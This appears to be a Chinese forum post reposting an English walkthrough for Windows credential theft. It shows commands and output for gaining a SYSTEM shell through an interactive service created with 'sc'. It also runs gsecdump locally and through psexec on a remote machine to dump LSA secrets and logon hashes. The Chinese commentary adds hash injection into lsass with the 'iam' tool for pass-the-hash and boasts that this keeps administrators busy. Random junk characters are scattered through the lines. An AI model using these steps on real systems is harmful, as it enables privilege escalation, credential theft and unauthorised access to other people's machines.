HASH注入式攻击

admin

o get a DOS Prompt as NT system:

3 I+ R4 m; M) G* x- p3 C1 }  ^; `C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
: {( q! @* `. X& i4 \[SC] CreateService SUCCESS
% Z1 m2 s( p( u! e
C:\>sc start shellcmdline
% _# }+ a8 I; Q) t( ]4 |$ `6 [[SC] StartService FAILED 1053:
: d3 B$ J* t4 ?3 K+ f
* f/ C: z) g9 N+ O8 W% TThe service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
! l0 N9 q5 m- s[SC] DeleteService SUCCESS

------------
) ~3 A' ^" `3 y( V
- ~, C8 Y9 R2 K7 RThen in the new DOS window:
# }. o6 t" j( J0 d! ?+ }  l" U
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
1 H9 i: T' r) S; GNT AUTHORITY\SYSTEM
' Q; Y  ]( S3 @( f% f9 C
C:\WINDOWS\system32>gsecdump -h
- J+ F5 K2 b9 h& Igsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
! |) ~- Z& p& ^/ R3 P" zusage: gsecdump [options]
3 a) i  h! j) N! t7 F+ \" k( U: R
options:
-h [ --help ] show help
# V- I, O: A2 C. U/ r# ^) K" N# e-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
( m. h+ Q1 R* w; S-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

' |; p6 H2 x' A; `8 ^3 R8 VAlthough I like to use:

% ^. o  b+ r2 f4 p# l0 p  HPsExec v1.83 - Execute processes remotely
# J# ~) L7 _, e6 R2 v! zCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

0 V5 F8 m. p4 ~8 B- KC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

/ b2 e) }, ~$ Z. [+ [4 k2 p3 M/ ?/ r+ dto get the hashes from active logon sessions of a remote system.
8 e" T: ]/ ?+ v; N' h! @& F$ L
, P% ?: c# p6 t/ R1 ^These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
; W) f4 X4 z% u1 S原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

3 }' K3 ?$ D5 w: `& L# S5 J4 {- I- k我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
" g0 p  ^" J1 W; p+ f( U. n4 `